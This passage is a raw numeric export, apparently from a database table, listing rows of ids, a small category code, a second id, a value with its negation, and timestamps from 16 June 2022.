11:44:35.566198+00 +24717,1,9065,9.367137944,-9.367137944,2022-06-16 11:44:44.074687+00 +13453,2,6957,10.21847275,-10.21847275,2022-06-16 10:38:19.422856+00 +14676,1,7219,14.17124288,-14.17124288,2022-06-16 10:46:55.756187+00 +13458,2,6973,10.20207654,-10.20207654,2022-06-16 10:38:19.536878+00 +13467,1,6976,5.034348916,-5.034348916,2022-06-16 10:38:31.724237+00 +13468,1,6960,2.276518497,-2.276518497,2022-06-16 10:38:31.7277+00 +14677,1,7195,6.968889618,-6.968889618,2022-06-16 10:46:55.760289+00 +24718,1,9049,9.457547824,-9.457547824,2022-06-16 11:44:44.076032+00 +13483,1,6947,18.43240372,-18.43240372,2022-06-16 10:38:43.726527+00 +13484,1,6931,12.56048129,-12.56048129,2022-06-16 10:38:43.730252+00 +14695,2,7286,14.10397156,-14.10397156,2022-06-16 10:47:04.665008+00 +24719,1,9073,9.515583165,-9.515583165,2022-06-16 11:44:44.076854+00 +23040,7,8746,11.42562585,-11.42562585,2022-06-16 11:37:02.475032+00 +17195,1,7863,10.97603957,-10.97603957,2022-06-16 11:04:37.90112+00 +15852,2,7483,8.547559484,-8.547559484,2022-06-16 10:55:14.419716+00 +14720,2,7294,11.59062305,-11.59062305,2022-06-16 10:47:05.280552+00 +17196,1,7855,10.42318301,-10.42318301,2022-06-16 11:04:37.904631+00 +13510,6,7039,14.47287747,-14.47287747,2022-06-16 10:38:44.745959+00 +14727,2,7242,10.64618193,-10.64618193,2022-06-16 10:47:07.095535+00 +14732,2,7211,8.915298232,-8.915298232,2022-06-16 10:47:14.450547+00 +17197,1,7862,10.99407977,-10.99407977,2022-06-16 11:04:37.905512+00 +17198,1,7870,8.231348091,-8.231348091,2022-06-16 11:04:37.906321+00 +17199,1,7871,7.927351981,-7.927351981,2022-06-16 11:04:37.907206+00 +13519,1,7037,9.763604034,-9.763604034,2022-06-16 10:38:46.695923+00 +13520,1,7021,9.742700579,-9.742700579,2022-06-16 10:38:46.697162+00 +13521,1,6745,13.30781098,-13.30781098,2022-06-16 10:38:52.697183+00 +13522,1,6777,13.15309987,-13.15309987,2022-06-16 10:38:52.698452+00 +13523,1,6753,13.29913782,-13.29913782,2022-06-16 10:38:52.699281+00 +13524,1,6761,13.10088821,-13.10088821,2022-06-16 10:38:52.69991+00 +13525,1,6769,13.29080116,-13.29080116,2022-06-16 10:38:52.700537+00 +13526,1,6737,13.12151278,-13.12151278,2022-06-16 10:38:52.701136+00 +13527,1,7039,10.37113162,-10.37113162,2022-06-16 10:38:58.724009+00 +13528,1,7030,12.54549857,-12.54549857,2022-06-16 10:38:58.727276+00 +13529,1,7006,9.22790788,-9.22790788,2022-06-16 10:38:58.728116+00 +13530,1,7031,12.49187046,-12.49187046,2022-06-16 10:38:58.728908+00 +13531,1,7038,10.72918249,-10.72918249,2022-06-16 10:38:58.72969+00 +13532,1,7007,9.242172009,-9.242172009,2022-06-16 10:38:58.730492+00 +14748,1,7224,12.33008965,-12.33008965,2022-06-16 10:47:19.776566+00 +17200,1,7854,10.45325446,-10.45325446,2022-06-16 11:04:37.908012+00 +17217,6,7853,5.502775633,-5.502775633,2022-06-16 11:04:52.694113+00 +24720,1,9081,9.325136509,-9.325136509,2022-06-16 11:44:44.077648+00 +13537,2,6960,3.043060649,-3.043060649,2022-06-16 10:39:04.454027+00 +28289,3,9408,7.699660515,-7.699660515,2022-06-16 11:57:18.630427+00 +17268,2,7855,12.05991546,-12.05991546,2022-06-16 11:05:05.199997+00 +20004,2,8362,9.777077763,-9.777077763,2022-06-16 11:20:31.971742+00 +17285,2,7862,12.57655307,-12.57655307,2022-06-16 11:05:05.578939+00 +13542,2,6976,6.524145575,-6.524145575,2022-06-16 10:39:04.570045+00 +12535,4,6831,13.84847877,-13.84847877,2022-06-16 10:32:11.4792+00 +12536,4,6838,14.15573924,-14.15573924,2022-06-16 10:32:11.480433+00 +12537,4,6839,13.99990759,-13.99990759,2022-06-16 10:32:11.481302+00 +12538,1,6779,6.32680129,-6.32680129,2022-06-16 10:32:13.72918+00 +12539,1,6763,6.483653706,-6.483653706,2022-06-16 10:32:13.732828+00 +12540,1,6771,14.55509507,-14.55509507,2022-06-16 10:32:13.733808+00 +12541,1,6747,7.609462493,-7.609462493,2022-06-16 10:32:13.73475+00 +13835,2,7040,6.459357195,-6.459357195,2022-06-16 10:41:04.543599+00 +34427,2,10480,1.631163845,0,2022-06-16 12:29:04.568526+00 +13873,4,6744,11.33630584,-11.33630584,2022-06-16 10:41:14.26577+00 +39607,4,11353,13.16780234,-13.16780234,2022-06-16 12:57:03.12746+00 +15139,4,7339,4.864789129,-4.864789129,2022-06-16 10:50:20.008157+00 +15140,4,7347,12.75348153,-12.75348153,2022-06-16 10:50:20.012766+00 +15141,4,7323,6.045230951,-6.045230951,2022-06-16 10:50:20.013988+00 +15142,4,7355,4.729933305,-4.729933305,2022-06-16 10:50:20.015237+00 +14038,4,7166,11.52224667,-11.52224667,2022-06-16 10:42:11.551542+00 +14039,4,7167,11.25870235,-11.25870235,2022-06-16 10:42:11.552212+00 +14061,4,7091,12.46777162,-12.46777162,2022-06-16 10:42:22.082355+00 +14062,4,7099,4.921600054,-4.921600054,2022-06-16 10:42:22.085809+00 +12944,2,6894,14.49044341,-14.49044341,2022-06-16 10:35:04.647347+00 +14063,4,7051,15.25824942,-15.25824942,2022-06-16 10:42:22.086683+00 +12963,2,6910,13.14447808,-13.14447808,2022-06-16 10:35:04.995864+00 +14064,4,7067,6.13562961,-6.13562961,2022-06-16 10:42:22.087507+00 +14065,4,7083,5.016122593,-5.016122593,2022-06-16 10:42:22.088268+00 +15143,4,7307,15.49474138,-15.49474138,2022-06-16 10:50:20.016355+00 +15163,4,7200,6.953391856,-6.953391856,2022-06-16 10:50:29.481873+00 +16607,1,7711,8.704759358,-8.704759358,2022-06-16 11:00:58.888522+00 +16608,1,7743,8.29951949,-8.29951949,2022-06-16 11:00:58.891989+00 +12564,6,6830,16.72955743,-16.72955743,2022-06-16 10:32:15.836844+00 +16609,1,7735,11.08512978,-11.08512978,2022-06-16 11:00:58.892898+00 +13080,7,6640,10.35698126,-10.35698126,2022-06-16 10:35:56.991608+00 +13081,7,6704,10.25869038,-10.25869038,2022-06-16 10:35:56.994882+00 +13082,7,6768,10.16130159,-10.16130159,2022-06-16 10:35:56.995824+00 +12569,6,6831,16.58487868,-16.58487868,2022-06-16 10:32:15.94958+00 +13083,7,6832,10.06480085,-10.06480085,2022-06-16 10:35:56.996626+00 +13084,7,6896,9.969174149,-9.969174149,2022-06-16 10:35:56.997428+00 +16610,1,7710,8.838009309,-8.838009309,2022-06-16 11:00:58.893762+00 +15303,6,7422,14.06603242,-14.06603242,2022-06-16 10:51:38.527549+00 +16611,1,7727,10.85986476,-10.85986476,2022-06-16 11:00:58.894614+00 +13126,1,6681,13.50034167,-13.50034167,2022-06-16 10:36:07.726555+00 +13127,1,6907,6.106447311,-6.106447311,2022-06-16 10:36:07.730092+00 +13128,1,6697,13.34436102,-13.34436102,2022-06-16 10:36:07.730983+00 +12580,6,6847,14.87390053,-14.87390053,2022-06-16 10:32:16.308259+00 +12581,4,6846,12.68271956,-12.68271956,2022-06-16 10:32:16.984838+00 +13129,1,6713,13.31729258,-13.31729258,2022-06-16 10:36:07.731752+00 +13130,1,6891,6.24210797,-6.24210797,2022-06-16 10:36:07.732478+00 +13131,1,6705,13.50800532,-13.50800532,2022-06-16 10:36:07.733474+00 +13132,1,6673,13.33695138,-13.33695138,2022-06-16 10:36:07.735474+00 +13133,1,6689,13.40958052,-13.40958052,2022-06-16 10:36:07.736438+00 +12587,2,6765,10.88611122,-10.88611122,2022-06-16 10:32:19.429394+00 +16612,1,7734,11.1318392,-11.1318392,2022-06-16 11:00:58.895495+00 +14253,3,7168,10.40439522,-10.40439522,2022-06-16 10:44:04.486407+00 +14254,3,7232,10.34588214,-10.34588214,2022-06-16 10:44:04.490121+00 +13187,4,6899,12.75349996,-12.75349996,2022-06-16 10:36:19.902506+00 +12592,2,6781,10.86719322,-10.86719322,2022-06-16 10:32:19.54854+00 +12593,1,6739,12.90133785,-12.90133785,2022-06-16 10:32:19.690146+00 +12594,1,6755,18.36048288,-18.36048288,2022-06-16 10:32:19.693678+00 +12595,4,6771,12.95047596,-12.95047596,2022-06-16 10:32:20.27889+00 +12596,4,6763,5.495518994,-5.495518994,2022-06-16 10:32:20.282067+00 +12597,4,6747,6.509310403,-6.509310403,2022-06-16 10:32:20.282944+00 +12598,4,6731,15.20379465,-15.20379465,2022-06-16 10:32:21.751049+00 +12599,4,6779,5.324606349,-5.324606349,2022-06-16 10:32:21.755097+00 +12600,1,6845,10.18983132,-10.18983132,2022-06-16 10:32:22.688704+00 +12601,1,6829,10.16777209,-10.16777209,2022-06-16 10:32:22.690061+00 +12602,2,6794,11.22320855,-11.22320855,2022-06-16 10:32:24.120742+00 +12603,4,6739,11.33509949,-11.33509949,2022-06-16 10:32:27.846855+00 +12604,1,6569,13.71191345,-13.71191345,2022-06-16 10:32:28.689967+00 +12605,1,6585,13.68378119,-13.68378119,2022-06-16 10:32:28.691288+00 +12606,1,6577,13.87513139,-13.87513139,2022-06-16 10:32:28.692153+00 +12607,1,6545,13.70126886,-13.70126886,2022-06-16 10:32:28.693011+00 +12608,1,6838,12.83089679,-12.83089679,2022-06-16 10:32:31.720381+00 +12609,1,6814,9.826480333,-9.826480333,2022-06-16 10:32:31.723767+00 +12610,1,6831,12.48669273,-12.48669273,2022-06-16 10:32:31.72458+00 +12611,1,6830,12.63731589,-12.63731589,2022-06-16 10:32:31.725333+00 +12612,1,6815,9.80776141,-9.80776141,2022-06-16 10:32:31.726109+00 +12613,1,6839,12.72733104,-12.72733104,2022-06-16 10:32:31.726921+00 +12614,1,6760,19.95031013,-19.95031013,2022-06-16 10:32:34.713529+00 +12615,1,6768,2.541212948,-2.541212948,2022-06-16 10:32:34.717187+00 +13188,4,6891,5.29655814,-5.29655814,2022-06-16 10:36:19.905794+00 +13189,4,6859,15.13643274,-15.13643274,2022-06-16 10:36:19.906719+00 +13190,4,6875,6.346710109,-6.346710109,2022-06-16 10:36:19.907533+00 +13191,4,6907,5.146038789,-5.146038789,2022-06-16 10:36:19.908264+00 +12620,6,6829,7.023958694,-7.023958694,2022-06-16 10:32:37.201795+00 +12621,1,6784,5.324547669,-5.324547669,2022-06-16 10:32:37.71583+00 +15345,1,7352,12.03445484,-12.03445484,2022-06-16 10:52:04.834293+00 +16613,1,7726,10.93286179,-10.93286179,2022-06-16 11:00:58.89633+00 +16614,1,7742,8.448020626,-8.448020626,2022-06-16 11:00:58.897071+00 +16638,1,7648,8.091165881,-8.091165881,2022-06-16 11:01:04.890856+00 +12626,6,6845,7.017344446,-7.017344446,2022-06-16 10:32:39.221177+00 +12627,2,6826,11.56108231,-11.56108231,2022-06-16 10:32:40.679926+00 +19459,2,8187,7.782163099,-7.782163099,2022-06-16 11:17:14.536472+00 +14364,2,7210,11.07766253,-11.07766253,2022-06-16 10:44:37.147262+00 +14378,2,7168,6.433514846,-6.433514846,2022-06-16 10:45:04.56375+00 +52443,4,13408,5.640929322,-5.640929322,2022-06-16 14:05:02.012453+00 +28137,6,9502,12.46313745,-12.46313745,2022-06-16 11:56:23.576607+00 +28202,2,9456,1.571933801,0,2022-06-16 11:57:04.464895+00 +21208,3,8639,14.12875659,-14.12875659,2022-06-16 11:28:08.490856+00 +37128,3,10733,6.970444488,-6.970444488,2022-06-16 12:43:30.688252+00 +15544,2,7403,8.772761576,-8.772761576,2022-06-16 10:53:14.547633+00 +16809,3,7597,12.12567297,-12.12567297,2022-06-16 11:02:18.765149+00 +16830,1,7744,3.945464553,-3.945464553,2022-06-16 11:02:19.86028+00 +16831,1,7728,1.589960827,-1.589960827,2022-06-16 11:02:19.86159+00 +13337,3,6896,5.476936472,-5.476936472,2022-06-16 10:37:22.073724+00 +13338,3,6960,5.445665776,-5.445665776,2022-06-16 10:37:22.078024+00 +28254,4,9494,16.66189264,-16.66189264,2022-06-16 11:57:11.825398+00 +14505,3,7216,5.162822262,-5.162822262,2022-06-16 10:45:39.221385+00 +28255,4,9423,17.34665706,-17.34665706,2022-06-16 11:57:11.829727+00 +18263,3,7998,15.71555125,-15.71555125,2022-06-16 11:10:18.38269+00 +16894,6,7791,16.38928249,-16.38928249,2022-06-16 11:02:46.77145+00 +15667,2,7485,9.133406892,-9.133406892,2022-06-16 10:54:19.549165+00 +14557,4,7262,10.04492046,-10.04492046,2022-06-16 10:46:10.811447+00 +14558,4,7263,9.807206674,-9.807206674,2022-06-16 10:46:10.814711+00 +14559,4,7294,11.13811429,-11.13811429,2022-06-16 10:46:10.815574+00 +18264,3,8062,15.62357871,-15.62357871,2022-06-16 11:10:18.385612+00 +15716,6,7488,6.841306674,-6.841306674,2022-06-16 10:54:34.822883+00 +21338,1,8605,10.84663213,-10.84663213,2022-06-16 11:28:37.983084+00 +21339,1,8621,5.725048187,-5.725048187,2022-06-16 11:28:37.984143+00 +14617,4,7187,10.88179326,-10.88179326,2022-06-16 10:46:27.558662+00 +13423,4,6960,1.637550276,-1.637550276,2022-06-16 10:38:06.524091+00 +13424,4,6976,3.708861896,-3.708861896,2022-06-16 10:38:06.527898+00 +13543,2,7030,14.5107091,-14.5107091,2022-06-16 10:39:04.573356+00 +45609,1,12397,2.491548784,-2.491548784,2022-06-16 13:26:56.633145+00 +19421,6,8223,13.79678601,-13.79678601,2022-06-16 11:17:09.782528+00 +18038,2,7966,10.09866455,-10.09866455,2022-06-16 11:09:04.720897+00 +24359,6,9054,12.87875836,-12.87875836,2022-06-16 11:43:10.148725+00 +26385,2,9310,8.337288788,-8.337288788,2022-06-16 11:51:04.748972+00 +13549,2,7031,14.51348802,-14.51348802,2022-06-16 10:39:04.714407+00 +24404,2,9003,7.202123066,-7.202123066,2022-06-16 11:43:14.435587+00 +13551,1,6952,19.70773782,-19.70773782,2022-06-16 10:39:04.725664+00 +13552,1,6944,9.20444108,-9.20444108,2022-06-16 10:39:04.729217+00 +39687,2,11371,5.529417659,-5.529417659,2022-06-16 12:57:14.534805+00 +18155,1,7928,11.28152696,-11.28152696,2022-06-16 11:09:22.887785+00 +30177,6,9853,3.166716356,-3.166716356,2022-06-16 12:06:30.852321+00 +16811,3,7725,11.98975833,-11.98975833,2022-06-16 11:02:19.090921+00 +14115,2,7104,6.532604697,-6.532604697,2022-06-16 10:42:59.867795+00 +22773,3,8894,13.91463999,-13.91463999,2022-06-16 11:36:05.014023+00 +21294,6,8637,4.74600239,-4.74600239,2022-06-16 11:28:28.385505+00 +19645,2,8237,7.430488782,-7.430488782,2022-06-16 11:18:19.436572+00 +30179,4,9822,7.708269355,-7.708269355,2022-06-16 12:06:35.740798+00 +13562,2,7006,10.94185314,-10.94185314,2022-06-16 10:39:05.000211+00 +16927,2,7774,10.18819952,-10.18819952,2022-06-16 11:03:04.647011+00 +18325,6,7983,15.65398629,-15.65398629,2022-06-16 11:10:40.34397+00 +15511,2,7486,10.85594726,-10.85594726,2022-06-16 10:53:04.9347+00 +18354,4,7896,10.34407168,-10.34407168,2022-06-16 11:10:53.621275+00 +15528,2,7478,13.48356649,-13.48356649,2022-06-16 10:53:05.292242+00 +13568,2,7007,11.01035711,-11.01035711,2022-06-16 10:39:05.147394+00 +16973,3,7726,19.23839437,-19.23839437,2022-06-16 11:03:12.015216+00 +16974,3,7790,19.13602561,-19.13602561,2022-06-16 11:03:12.018556+00 +21341,1,8613,16.79693414,-16.79693414,2022-06-16 11:28:44.010156+00 +13572,2,7038,12.57120294,-12.57120294,2022-06-16 10:39:05.237021+00 +30241,2,9838,6.480470027,-6.480470027,2022-06-16 12:07:04.986217+00 +14365,1,7168,4.577634791,-4.577634791,2022-06-16 10:44:37.780413+00 +13575,2,7039,12.17996379,-12.17996379,2022-06-16 10:39:05.301825+00 +14366,1,7152,2.058893905,-2.058893905,2022-06-16 10:44:37.783881+00 +14367,1,7136,8.851079021,-8.851079021,2022-06-16 10:44:37.784762+00 +14380,2,7198,10.69015994,-10.69015994,2022-06-16 10:45:04.591981+00 +19749,2,8256,5.700227948,-5.700227948,2022-06-16 11:19:04.546242+00 +28256,4,9487,17.2805158,-17.2805158,2022-06-16 11:57:11.830565+00 +17062,3,7488,9.909376971,-9.909376971,2022-06-16 11:03:58.031767+00 +17063,3,7552,9.853097526,-9.853097526,2022-06-16 11:03:58.03626+00 +14432,6,7199,12.96181637,-12.96181637,2022-06-16 10:45:11.30629+00 +17064,3,7616,9.797246401,-9.797246401,2022-06-16 11:03:58.037467+00 +13585,6,6955,7.844622393,-7.844622393,2022-06-16 10:39:06.961961+00 +15668,4,7475,12.53008266,-12.53008266,2022-06-16 10:54:19.571623+00 +15693,3,7551,16.94990332,-16.94990332,2022-06-16 10:54:33.911144+00 +17065,3,7680,9.741819881,-9.741819881,2022-06-16 11:03:58.038492+00 +15717,1,7464,18.95135376,-18.95135376,2022-06-16 10:54:37.807127+00 +13590,6,6971,7.664605318,-7.664605318,2022-06-16 10:39:07.200916+00 +15718,1,7488,4.111806372,-4.111806372,2022-06-16 10:54:37.810523+00 +15731,6,7519,13.79346627,-13.79346627,2022-06-16 10:54:41.531611+00 +15750,3,7277,12.71071843,-12.71071843,2022-06-16 10:54:52.269645+00 +17066,3,7744,9.686814268,-9.686814268,2022-06-16 11:03:58.039631+00 +17067,3,7808,9.632225891,-9.632225891,2022-06-16 11:03:58.040647+00 +28257,4,9486,17.49597222,-17.49597222,2022-06-16 11:57:11.831357+00 +14560,1,7017,12.50628101,-12.50628101,2022-06-16 10:46:13.77689+00 +14561,1,7033,12.48221573,-12.48221573,2022-06-16 10:46:13.780151+00 +14562,1,7025,12.66950525,-12.66950525,2022-06-16 10:46:13.780994+00 +14563,1,7001,12.55912993,-12.55912993,2022-06-16 10:46:13.781797+00 +14564,1,7009,12.57814484,-12.57814484,2022-06-16 10:46:13.782745+00 +48808,4,12905,9.996906975,-9.996906975,2022-06-16 13:45:56.199761+00 +15802,2,7551,10.4361657,-10.4361657,2022-06-16 10:55:04.713583+00 +14589,1,7262,8.887793597,-8.887793597,2022-06-16 10:46:16.750255+00 +13605,2,6949,19.64724508,-19.64724508,2022-06-16 10:39:14.3942+00 +14590,1,7263,8.716816038,-8.716816038,2022-06-16 10:46:16.751399+00 +14591,1,7211,5.680186645,-5.680186645,2022-06-16 10:46:16.752061+00 +14592,1,7287,12.08220761,-12.08220761,2022-06-16 10:46:16.752667+00 +14593,1,7227,5.558133524,-5.558133524,2022-06-16 10:46:16.753302+00 +13610,2,6955,9.039681955,-9.039681955,2022-06-16 10:39:14.503489+00 +14594,1,7286,12.14306821,-12.14306821,2022-06-16 10:46:16.753914+00 +17116,4,7792,1.205008005,-1.205008005,2022-06-16 11:04:06.569958+00 +17117,4,7808,3.061933105,-3.061933105,2022-06-16 11:04:06.574277+00 +14628,4,7064,11.01857371,-11.01857371,2022-06-16 10:46:32.357769+00 +13615,2,6971,8.838905215,-8.838905215,2022-06-16 10:39:14.61105+00 +13616,2,6986,10.95633587,-10.95633587,2022-06-16 10:39:18.344528+00 +17145,2,7789,8.297962064,-8.297962064,2022-06-16 11:04:19.414501+00 +22942,2,8829,6.876227777,-6.876227777,2022-06-16 11:36:24.554129+00 +14658,6,7294,14.25131095,-14.25131095,2022-06-16 10:46:48.804789+00 +17155,4,7755,14.90276688,-14.90276688,2022-06-16 11:04:21.410052+00 +15854,6,7533,5.938362587,-5.938362587,2022-06-16 10:55:14.449702+00 +14678,1,7203,18.10550667,-18.10550667,2022-06-16 10:46:58.790287+00 +14679,1,7187,12.01321096,-12.01321096,2022-06-16 10:46:58.793686+00 +17167,6,7855,16.27143481,-16.27143481,2022-06-16 11:04:23.992509+00 +17181,1,7609,11.44184685,-11.44184685,2022-06-16 11:04:28.860881+00 +17182,1,7853,7.998392426,-7.998392426,2022-06-16 11:04:28.862105+00 +15886,1,7480,11.8092969,-11.8092969,2022-06-16 10:55:37.830517+00 +17183,1,7869,8.295401894,-8.295401894,2022-06-16 11:04:28.863013+00 +17184,1,7593,11.42147387,-11.42147387,2022-06-16 11:04:28.863924+00 +17185,1,7577,11.52014478,-11.52014478,2022-06-16 11:04:28.864657+00 +17186,1,7601,11.58184809,-11.58184809,2022-06-16 11:04:28.865381+00 +13632,3,7024,5.367798779,-5.367798779,2022-06-16 10:39:26.323852+00 +17201,2,7818,9.91307951,-9.91307951,2022-06-16 11:04:39.400662+00 +15934,4,7552,3.260143569,-3.260143569,2022-06-16 10:56:06.540164+00 +14749,7,7114,13.4121743,-13.4121743,2022-06-16 10:47:35.657693+00 +14754,6,7187,14.62815701,-14.62815701,2022-06-16 10:47:38.548318+00 +15935,4,7536,1.422551897,-1.422551897,2022-06-16 10:56:06.543705+00 +17212,1,7776,8.134440067,-8.134440067,2022-06-16 11:04:43.860659+00 +52444,1,13590,13.29539101,-13.29539101,2022-06-16 14:05:02.838357+00 +15968,6,7583,13.65368797,-13.65368797,2022-06-16 10:56:18.573886+00 +15977,6,7614,13.77105392,-13.77105392,2022-06-16 10:56:19.095024+00 +26727,4,9258,11.03633153,-11.03633153,2022-06-16 11:51:41.326999+00 +42782,1,11832,6.929295506,-6.929295506,2022-06-16 13:11:29.597415+00 +13644,4,6816,7.077265948,-7.077265948,2022-06-16 10:39:52.014739+00 +15998,2,7533,8.829776339,-8.829776339,2022-06-16 10:56:19.519161+00 +19948,2,8317,7.63096427,-7.63096427,2022-06-16 11:20:19.400656+00 +14797,3,7030,20.62021216,-20.62021216,2022-06-16 10:47:54.938484+00 +14798,3,7094,20.51518838,-20.51518838,2022-06-16 10:47:54.939831+00 +14799,3,7158,20.4104693,-20.4104693,2022-06-16 10:47:54.940667+00 +45931,6,12446,10.31838737,-10.31838737,2022-06-16 13:29:06.248179+00 +16022,3,7533,12.40449532,-12.40449532,2022-06-16 10:56:28.669444+00 +16031,6,7613,6.030500969,-6.030500969,2022-06-16 10:56:29.237758+00 +23096,2,8827,7.18054742,-7.18054742,2022-06-16 11:37:14.603568+00 +32525,1,10171,3.58443897,-3.58443897,2022-06-16 12:18:50.266945+00 +13655,2,6954,11.25668879,-11.25668879,2022-06-16 10:39:54.407155+00 +18667,1,8126,7.594714557,-7.594714557,2022-06-16 11:12:52.947199+00 +18668,1,8094,8.493071573,-8.493071573,2022-06-16 11:12:52.950627+00 +17353,1,7800,11.40840141,-11.40840141,2022-06-16 11:05:43.887881+00 +17365,7,7562,12.55613724,-12.55613724,2022-06-16 11:05:51.011046+00 +13660,3,7040,10.59392685,-10.59392685,2022-06-16 10:40:01.21126+00 +13661,4,6880,7.075310376,-7.075310376,2022-06-16 10:40:02.890424+00 +18669,1,8127,7.31080979,-7.31080979,2022-06-16 11:12:52.951917+00 +15075,4,7288,10.06875512,-10.06875512,2022-06-16 10:50:03.779353+00 +20985,6,8512,6.224716174,-6.224716174,2022-06-16 11:26:55.743706+00 +26335,6,9342,9.379904663,-9.379904663,2022-06-16 11:50:54.132693+00 +15183,6,7344,3.254021101,-3.254021101,2022-06-16 10:50:51.130848+00 +13960,6,7088,3.401504706,-3.401504706,2022-06-16 10:42:03.922684+00 +36977,6,10923,4.355268461,-4.355268461,2022-06-16 12:42:53.450272+00 +19494,2,8234,9.85422854,-9.85422854,2022-06-16 11:17:36.764459+00 +21096,2,8507,7.429683891,-7.429683891,2022-06-16 11:27:14.599401+00 +18156,4,7864,9.520742521,-9.520742521,2022-06-16 11:09:36.100654+00 +39688,4,11256,7.977371879,-7.977371879,2022-06-16 12:57:15.581536+00 +14116,4,7008,6.979916285,-6.979916285,2022-06-16 10:43:00.371557+00 +14137,2,7159,14.20350099,-14.20350099,2022-06-16 10:43:04.971337+00 +16783,4,7726,12.02165321,-12.02165321,2022-06-16 11:02:10.527784+00 +14158,2,7083,8.909163024,-8.909163024,2022-06-16 10:43:14.431072+00 +16784,4,7727,11.91099339,-11.91099339,2022-06-16 11:02:10.531078+00 +16785,4,7791,11.86082585,-11.86082585,2022-06-16 11:02:10.531927+00 +16786,4,7798,12.29563725,-12.29563725,2022-06-16 11:02:10.532691+00 +16787,4,7799,12.18936371,-12.18936371,2022-06-16 11:02:10.533458+00 +16788,4,7710,9.739789548,-9.739789548,2022-06-16 11:02:10.534224+00 +39717,4,11370,7.468033734,-7.468033734,2022-06-16 12:57:18.855449+00 +18239,3,8064,9.3826506,-9.3826506,2022-06-16 11:10:11.589823+00 +18267,3,8063,15.40801622,-15.40801622,2022-06-16 11:10:18.442163+00 +16868,6,7789,5.597731661,-5.597731661,2022-06-16 11:02:29.787133+00 +48912,2,12969,12.62082065,-12.62082065,2022-06-16 13:46:14.450121+00 +14329,6,7152,3.360473532,-3.360473532,2022-06-16 10:44:21.997042+00 +18299,2,8042,10.2803286,-10.2803286,2022-06-16 11:10:31.881151+00 +34762,6,10544,1.866225764,0,2022-06-16 12:30:17.676373+00 +14368,2,7178,10.74118984,-10.74118984,2022-06-16 10:45:03.783073+00 +18356,1,7995,4.979088592,-4.979088592,2022-06-16 11:11:01.867499+00 +14394,2,7222,14.09118926,-14.09118926,2022-06-16 10:45:04.938491+00 +13694,4,7024,1.611157815,-1.611157815,2022-06-16 10:40:06.676289+00 +13695,1,6968,12.92280166,-12.92280166,2022-06-16 10:40:07.73116+00 +17001,3,7743,15.9675454,-15.9675454,2022-06-16 11:03:12.582496+00 +17002,3,7807,15.87438993,-15.87438993,2022-06-16 11:03:12.585816+00 +15669,3,7534,20.00517002,-20.00517002,2022-06-16 10:54:20.509611+00 +15670,3,7535,20.11430678,-20.11430678,2022-06-16 10:54:20.51302+00 +18378,2,8031,9.986505284,-9.986505284,2022-06-16 11:11:04.838377+00 +14446,6,7231,14.18781813,-14.18781813,2022-06-16 10:45:11.851052+00 +13702,4,7021,7.868661487,-7.868661487,2022-06-16 10:40:09.590318+00 +13703,4,7037,7.859932596,-7.859932596,2022-06-16 10:40:09.593876+00 +13704,4,7103,11.48816585,-11.48816585,2022-06-16 10:40:11.093717+00 +13705,4,7094,13.78775544,-13.78775544,2022-06-16 10:40:11.097029+00 +13706,4,7095,13.69462055,-13.69462055,2022-06-16 10:40:11.097879+00 +15719,7,7434,13.0151142,-13.0151142,2022-06-16 10:54:38.982626+00 +14458,2,7163,8.669344836,-8.669344836,2022-06-16 10:45:14.537544+00 +32534,7,10090,9.033800893,-9.033800893,2022-06-16 12:18:55.01878+00 +17040,4,7648,6.610657888,-6.610657888,2022-06-16 11:03:35.470175+00 +17068,1,7736,11.45326064,-11.45326064,2022-06-16 11:03:58.885323+00 +21342,2,8618,9.305611092,-9.305611092,2022-06-16 11:28:46.505312+00 +15790,2,7472,2.876724924,-2.876724924,2022-06-16 10:55:04.463082+00 +34792,1,10522,15.64284191,-15.64284191,2022-06-16 12:30:26.350682+00 +17118,4,7741,6.834083428,-6.834083428,2022-06-16 11:04:09.440632+00 +15813,2,7518,10.52786154,-10.52786154,2022-06-16 10:55:04.979638+00 +17119,4,7805,6.810194332,-6.810194332,2022-06-16 11:04:09.444086+00 +17120,4,7725,6.547077637,-6.547077637,2022-06-16 11:04:09.444913+00 +17121,4,7789,6.524553443,-6.524553443,2022-06-16 11:04:09.445748+00 +14586,6,7211,7.335002584,-7.335002584,2022-06-16 10:46:16.60404+00 +14602,2,7213,9.596912599,-9.596912599,2022-06-16 10:46:19.440627+00 +34793,1,10530,15.52966956,-15.52966956,2022-06-16 12:30:26.352061+00 +24746,6,9135,11.63329688,-11.63329688,2022-06-16 11:44:48.107303+00 +13724,6,7019,7.779697829,-7.779697829,2022-06-16 10:40:17.255122+00 +21445,3,8557,10.09680268,-10.09680268,2022-06-16 11:29:13.786671+00 +14639,4,7128,10.98113866,-10.98113866,2022-06-16 10:46:40.215642+00 +14649,6,7263,12.87018451,-12.87018451,2022-06-16 10:46:48.388305+00 +22943,2,8874,8.882862677,-8.882862677,2022-06-16 11:36:26.823992+00 +13729,6,7035,7.601165717,-7.601165717,2022-06-16 10:40:17.492156+00 +13730,4,7019,5.132693827,-5.132693827,2022-06-16 10:40:18.888036+00 +34794,1,10554,15.59689206,-15.59689206,2022-06-16 12:30:26.352865+00 +32677,2,10218,6.517535896,-6.517535896,2022-06-16 12:19:45.396759+00 +14669,6,7277,6.395352609,-6.395352609,2022-06-16 10:46:50.969155+00 +14680,7,7178,13.50426361,-13.50426361,2022-06-16 10:46:59.73714+00 +13735,2,7021,10.05041056,-10.05041056,2022-06-16 10:40:19.421972+00 +18570,6,8125,5.482323775,-5.482323775,2022-06-16 11:12:05.351308+00 +30535,6,9877,10.91024976,-10.91024976,2022-06-16 12:08:39.527969+00 +14705,2,7262,10.45436773,-10.45436773,2022-06-16 10:47:04.891853+00 +21558,1,8544,7.432232669,-7.432232669,2022-06-16 11:29:47.006594+00 +13740,2,7037,10.03460123,-10.03460123,2022-06-16 10:40:19.540076+00 +13741,4,7027,12.60221165,-12.60221165,2022-06-16 10:40:20.571285+00 +13742,4,7003,6.230152807,-6.230152807,2022-06-16 10:40:20.574843+00 +13743,4,6987,15.15761787,-15.15761787,2022-06-16 10:40:20.57575+00 +13744,4,7035,4.97555618,-4.97555618,2022-06-16 10:40:20.576662+00 +14711,2,7263,10.29881447,-10.29881447,2022-06-16 10:47:05.047382+00 +23072,2,8863,9.141783198,-9.141783198,2022-06-16 11:37:05.03244+00 +21612,4,8624,0.66112495,0,2022-06-16 11:30:06.736532+00 +15936,4,7598,12.71152498,-12.71152498,2022-06-16 10:56:09.934687+00 +15937,4,7535,12.64714113,-12.64714113,2022-06-16 10:56:09.937916+00 +15938,4,7599,12.59290243,-12.59290243,2022-06-16 10:56:09.938867+00 +15939,4,7582,9.956792615,-9.956792615,2022-06-16 10:56:09.939705+00 